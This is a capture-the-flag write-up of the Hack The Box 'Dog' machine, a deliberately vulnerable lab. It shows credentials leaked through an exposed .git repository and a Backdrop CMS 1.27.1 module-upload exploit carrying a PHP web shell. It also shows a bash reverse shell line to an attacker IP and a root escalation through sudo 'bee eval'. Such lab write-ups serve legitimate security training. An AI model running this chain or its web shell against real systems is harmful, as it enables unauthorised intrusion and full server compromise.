LoginHack The Box: Dog Machine Walkthrough (Easy Difficulty)
Introduction to Dog:
In this write-up, we’ll go step-by-step through the Dog machine from Hack The Box, rated Easy difficulty. The box involves exploring a Linux environment with a Backdrop CMS web application. The path includes abusing an exposed Git repository, exploiting a CMS vulnerability, and escalating privileges to capture both the user and root flags.
Objective on Dog Machine
The primary objective is to complete the Dog machine by accomplishing the following tasks:
- User Flag: Obtain initial access to the Backdrop CMS by leveraging credentials (username: tiffany, password: BackDropJ2024DS2024) exposed in the settings.php file within the publicly accessible .git repository. Exploit an authenticated remote command execution vulnerability (EDB-ID: 52021) in Backdrop CMS version 1.27.1 by uploading a malicious module containing a PHP web shell, achieving a reverse shell as the www-data user. Transition to the johncusack user by reusing the exposed password and retrieving the user flag
- Root Flag: Escalate privileges by exploiting the misconfigured /usr/local/bin/bee binary, which allows the johncusack user to run commands as root via sudo. Use the bee binary’s eval parameter to execute a privileged command, such as sudo /usr/local/bin/bee –root=/var/www/html eval “system(‘cat /root/root.txt’);”, to read the root flag and achieve full system compromise.
Reconnaissance and Enumeration on Dog Machine
Establishing Connectivity
I connected to the Hack The Box environment via OpenVPN using my credentials, running all commands from a Kali Linux virtual machine. The target IP address for the Dog machine was 10.10.11.58.
Initial Scanning
To identify open ports and services, I ran an Nmap scan:
nmap -sV -sC 10.10.11.58 -oA initial Nmap Output:
┌─[dark@parrot]─[~/Documents/htb/dog]
└──╼ $nmap -sC -sV 10.10.11.58 -oA initial
# Nmap 7.94SVN scan initiated Sun Jun 29 18:19:32 2025 as: nmap -sC -sV -oA initial 10.10.11.58
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
| 256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
|_ 256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-git:
| 10.10.11.58:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: todo: customize url aliases. reference:https://docs.backdro...
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.md /web.config /admin
| /comment/reply /filter/tips /node/add /search /user/register
|_/user/password /user/login /user/logout /?q=admin /?q=comment/reply
|_http-title: Home | Dog
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
|_http-server-header: Apache/2.4.41 (Ubuntu)
# Nmap done at Sun Jun 29 18:20:33 2025 -- 1 IP address (1 host up) scanned in 60.91 secondsAnalysis:
- Port 22 (SSH): OpenSSH 8.2p1 running on Ubuntu; key fingerprints leaked, but no obvious auth bypass exposed.
- Port 80 (HTTP): Apache 2.4.41 hosting Backdrop CMS 1 with an exposed
.git/repo, robots.txt leaks paths, and potential admin panel access.
Web Enumeration on Dog Machine
Exploring the Website
Navigating to http://10.10.11.58 a dog-themed website, fitting the machine’s name.
The page footer reveals that the website operates on Backdrop CMS, a platform I previously explored in the Hack The Box CarpeDiem machine walkthrough.
Accessing the login endpoint displays the login page.
The .git directory contains several internal folders related to version control.
Analysing the Git Repository
The Gobuster scan uncovered a .git directory — a significant discovery, as exposed Git repositories can leak sensitive data such as source code or credentials.
Examining settings.php
While inspecting the .git directory contents, I found several folders and files that indicate a full web application project. Directories like core, files, layouts, themes, and sites suggest an organised structure, possibly for a CMS or a custom PHP-based system. Notably, index.php appears to be the main entry point, and settings.php may contain configuration details, which could include sensitive data like database credentials. The presence of robots.txt, along with documentation files such as README.md and LICENSE.txt, further supports that this is a production-ready web application. These findings warrant a deeper inspection for potential misconfigurations or exposed credentials
The settings.php file is the main configuration file for a Backdrop CMS website. While reviewing it, I found hardcoded database credentials (root:BackDropJ2024DS2024), which is a serious security concern if exposed publicly. This means anyone with access to this file could potentially connect to the database and access or manipulate sensitive data. The file also defines paths for configuration directories, session settings, and site behaviour like caching and error handling. Additionally, it includes a unique hash_salt feature used for security tokens and one-time login links. From a security standpoint, this file contains multiple pieces of sensitive information that should never be publicly accessible. Its presence in an exposed .git directory highlights the risks of improperly secured version control systems. This misconfiguration could allow an attacker to take full control of the application or pivot further into the underlying system.
Configuration Directory Security
This section of the settings.php file specifies where the Backdrop CMS stores its configuration files, which include settings for things like content types, modules, and views. By default, these are stored in the files directory under a hashed path, like so:
$config_directories['active'] = './files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active';
$config_directories['staging'] = './files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/staging';While this works functionally, it’s not ideal from a security perspective. These paths reside within the web root, so enabling directory listing or guessing the full path could allow someone to access sensitive configuration files directly from the browser. Backdrop’s documentation recommends moving these directories outside of the web-accessible root, like:
$config_directories['active'] = '../config/active';Or using an absolute path:
$config_directories['active'] = '/var/www/config/active';This ensures critical configuration data remains protected from unauthorised users.
Discovering User Information
Inside /files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active, I found a large number of JSON files, each representing different parts of the site’s active configuration — everything from enabled modules to content structure settings.
Within the update_settings.json file, a possible username tiffany was identified and noted for future reference.
Gaining Access to Backdrop CMS
Logging into the CMS
Returning to the Dog homepage via the browser, I attempted to log in. Initial guesses using common default credentials such as admin:admin and admin:password were unsuccessful. Recalling the credentials exposed in the settings.php file, I attempted to log in using root with the corresponding password (BackDropJ2024DS2024), but this also failed. After multiple attempts, I found the valid credentials:
- Username: tiffany
- Password: BackDropJ2024DS2024 (retrieved from
settings.php)
This successful login confirmed that the username found in update_settings.json was legitimate and paired with the database password from settings.php.
Backdrop CMS Enumeration and Vulnerability Assessment
Backdrop CMS is a robust, enterprise-level content management system built for creating and managing dynamic websites. Its deployment on the target system suggests a structured web application environment with multiple modules and components that could be misconfigured or vulnerable.
After accessing the CMS interface, I initially searched for a file upload mechanism to deploy a PHP reverse shell; however, I found no direct upload functionality.
Next, I navigated to the CMS dashboard and obtained the version information from the “Status Report” section within the Reports menu.
CVE-2024-41709: Stored XSS in Backdrop CMS via Unsanitized Field Labels
After conducting further analysis, I identified potential vulnerabilities in the CMS.
A stored Cross-Site Scripting (XSS) vulnerability, identified as CVE-2024-41709, affects Backdrop CMS versions before 1.27.3 and 1.28.x before 1.28.2. The vulnerability arises due to insufficient sanitisation of field labels, which are improperly escaped when rendered in certain parts of the CMS interface.
While exploitation requires the attacker to have the “administer fields” permission, it still poses a threat in multi-user environments or cases of misconfigured access control. Successful exploitation could lead to session hijacking, browser-based attacks, or privilege escalation.The issue has been fixed in Backdrop CMS 1.27.3 and 1.28.2. Users are strongly advised to upgrade to the latest version to mitigate this vulnerability and prevent potential compromise.
I came across an Exploit-DB entry (EDB-ID: 52021) by Ahmet Ümit BAYRAM, which details an authenticated remote command execution vulnerability affecting Backdrop CMS version 1.27.1—the same version identified on the Dog instance.
This script takes advantage of a security flaw in Backdrop CMS version 1.27.1. It’s designed for someone who already has login access with the right permissions (like an admin). The script quietly creates a fake “module” that looks harmless but contains a web shell—a small tool that lets an attacker run system commands through a web browser.
User Management Insights
This output appears to be from the user management section of a Backdrop CMS admin panel, listing all registered user accounts. Each entry includes the username, status, role, account age (member for), last modified, and last access times. All users have an Active status and the Administrator role, granting them full control over the CMS.
Notable accounts include tiffany, rosa, axel, john, and dogBackDropSystem. Most accounts show no access or updates for nearly a year, with tiffany as the only user with recent activity. Each account includes an Edit option to modify user details.
The presence of multiple inactive administrator accounts raises concerns about poor user management practices. Furthermore, dormant admin accounts heighten the risk of privilege escalation or brute-force attacks, particularly when passwords are weak or reused.
Crafting the Malicious Module
Here’s how it works:
First, it creates two files. One is shell.info, which tricks the system into thinking it’s a normal module. The second is shell.php, which has a small piece of code like this:
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
}That code lets the attacker enter any command in a browser and run it on the server. These files are zipped up as shell.zip.
The attacker then uploads this zip file through the CMS at /admin/modules/install. Once it’s in, they can visit /modules/shell/shell.php and take full control of the site.
Executing the Python script generates an output similar to the one shown above.
Details of shell.info
This file is named shell.info and is crafted to mimic a legitimate Backdrop CMS module. It contains metadata that describes the module, including its name (Block), description, package category (Layouts), version (1.27.1), and compatibility (backdrop = 1.x). The configure line tells the CMS where the module’s settings can be accessed in the admin panel. The project and timestamp fields are added automatically by Backdrop’s packaging system to make the module appear authentic. This file helps the fake module pass as legitimate during installation, which is key to exploiting the vulnerability.
Details of shell.php
The shell.php file is a simple web-based command execution tool known as a web shell. It creates a form in a browser that allows the user to input system commands.
When opened in a browser, it displays a text field and a submit button. If a command is entered (e.g., ls, whoami) and submitted this line:
system($_GET['cmd']);executes that command on the server and shows the result on the page. This happens only if the URL includes ?cmd=your_command, such as:
/shell.php?cmd=whoamiIt’s a powerful backdoor often used by attackers to gain control over a server after uploading it. In this case, it’s part of an exploit targeting Backdrop CMS.
Obtaining a Reverse Shell on Dog Machine
To obtain a reverse shell, you can use the well-known PHP reverse shell by Pentestmonkey. Download it using:
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/refs/heads/master/php-reverse-shell.php -O shell.phpAlternatively, use:
curl -o shell.php https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/refs/heads/master/php-reverse-shell.phpAfter downloading, edit shell.php and set your IP and port:
$ip = 'YOUR_ATTACKER_IP';
$port = 'YOUR_ATTACKER_PORT';Packaging and Uploading the Module
This package was uploaded through the administrative interface by navigating to Functionality → Install Module → Manual Installation. Once the upload was completed, the malicious module was installed, paving the way for remote code execution through the embedded web shell.
To prepare the malicious module for upload, the folder containing the payload (e.g., shell/) must be archived into a .tar.gz file format. This is required because Backdrop CMS accepts .tar.gz packages for manual module installation.
Here’s how to create it:
tar -czf shell.tar.gz shell/
After uploading the .tar.gz file, the CMS extracted and deployed its contents, allowing the attacker to trigger the payload
The installation was completed successfully without any errors.
Establishing a Reverse Shell
The index appears as illustrated in the screenshot above.
The shell.php interface presents a simple form with a text input field for entering system commands, along with an “Execute” button to run them.
Command injection has been successfully achieved, allowing arbitrary system commands to be executed on the target server.
Let’s proceed by entering a bash reverse shell command into the input field of the shell.php interface. This will attempt to establish a connection back to your machine. Ensure you have a listener (like Netcat) running on your machine before executing the command.
Example reverse shell command (adjust IP and port accordingly):
bash -i >& /dev/tcp/10.10.14.99/4444 0>&1
The payload executed, but no connection was received.
We’ll modify the reverse shell command to use an alternative format.
Ultimately, the command executed successfully and produced the anticipated response.
Session Transition: www-data to johncusack within Dog Machine
While enumerating, I found a user account named johnsucack.
Using the same password from settings.php, I switched to this user
This grants access to the user flag with cat user.txt.
Escalate to Root Privileges Access on Dog Machine
Identifying Sudo Privileges
I checked for commands, the johnsucack user could run with elevated privileges:
The output revealed that johncusack could run /usr/local/bin/bee as root. After analyzing the binary, I found it accepted a root parameter to define a working directory, and an eval parameter to execute arbitrary code — basically, it was buzzing with privilege… and poor design choices
Understanding Bee: The CLI Tool for Backdrop CMS
Bee is a command-line utility tailored specifically for Backdrop CMS. It offers a suite of tools that help developers and administrators manage Backdrop sites more efficiently, directly from the terminal. Similar to Drush for Drupal, Bee streamlines repetitive administrative tasks.
Key capabilities of Bee include:
- Running cron jobs to automate background processes
- Clearing caches to apply configuration or content updates
- Downloading and installing Backdrop core or contributed projects
- Managing modules and themes (install, enable, disable)
- Viewing system information like installed projects and status reports
In essence, Bee simplifies the management of Backdrop CMS, saving time and reducing reliance on the web interface for routine tasks. The source code is publicly available here:
The structured command set streamlines everyday tasks, enhances scripting possibilities, and supports robust site maintenance workflows from the command line.
Key Functional Areas:
- Configuration: Handle export, import, and editing of configuration files.
- Core & Projects: Install Backdrop, manage core updates, and enable/disable modules or themes.
- Database: Drop, export, and import databases with ease.
- Users & Roles: Create or manage user accounts, assign roles, and control permissions.
- Cache & Maintenance: Clear caches and toggle maintenance mode for updates or debugging.
- Cron & State: Run scheduled tasks and view or set internal state variables.
- Advanced Utilities: Run PHP code (
eval), execute scripts, or open SQL CLI sessions.
Exploiting the Bee Binary
The command sudo /usr/local/bin/bee --root=/var/www/html eval "system('id');" is used to execute a PHP system call through the Bee CLI tool under root privileges. In this case, the Bee binary is located at /usr/local/bin/bee, and the --root=/var/www/html flag specifies the path to the Backdrop CMS installation. The eval command tells Bee to evaluate the provided PHP code—specifically, system('id');—which runs the Linux id command and outputs the current user’s identity. Running this with sudo means the command is executed as the root user, so the output will likely return uid=0(root) along with group details, confirming root-level execution. This showcases how Bee can execute arbitrary system commands if misconfigured or granted excessive privileges, making it a potential target for post-exploitation during penetration testing or privilege escalation scenarios.
Retrieving the Root Flag
The command sudo /usr/local/bin/bee --root=/var/www/html eval "system('cat /root/root.txt');" retrieves the contents of the root.txt file, which typically serves as proof of root access in penetration testing platforms like Hack The Box. Running the command with sudo grants it root privileges. The Bee CLI tool, located at /usr/local/bin/bee, uses the eval argument to execute a PHP system() call that reads the root.txt file. The --root=/var/www/html flag tells Bee where to find the Backdrop CMS installation. If the command runs successfully, it prints the content of the root.txt file, confirming full system compromise. This approach shows how attackers can exploit misconfigured CLI tools like Bee, especially when administrators grant them root access, to execute arbitrary system commands and gain complete control.
Alternative Approach to Access the Root Flag
Even if the system doesn’t show special permissions on the bash program, it’s still possible to gain full control (root access) using a specific trick. Here’s what’s happening in simple terms:
We’re using a tool called Bee that administrators sometimes install to help manage websites. Normally, Bee is safe, but in this case, it’s being run with full system power (as the root user). By giving Bee a small instruction, telling it to open a command prompt (/bin/bash) using a special option (-p) — We can open a powerful backdoor. This option tells the system, “Don’t lower my power,” and because Bee already runs with full control, it allows us to keep that control.
So even though the bash tool doesn’t have special access on its own, using it through Bee (which does) lets us fully control the system. This shows how a trusted tool, if misused or poorly secured, can give attackers full access.
This grants access to the user flag with cat root.txt.
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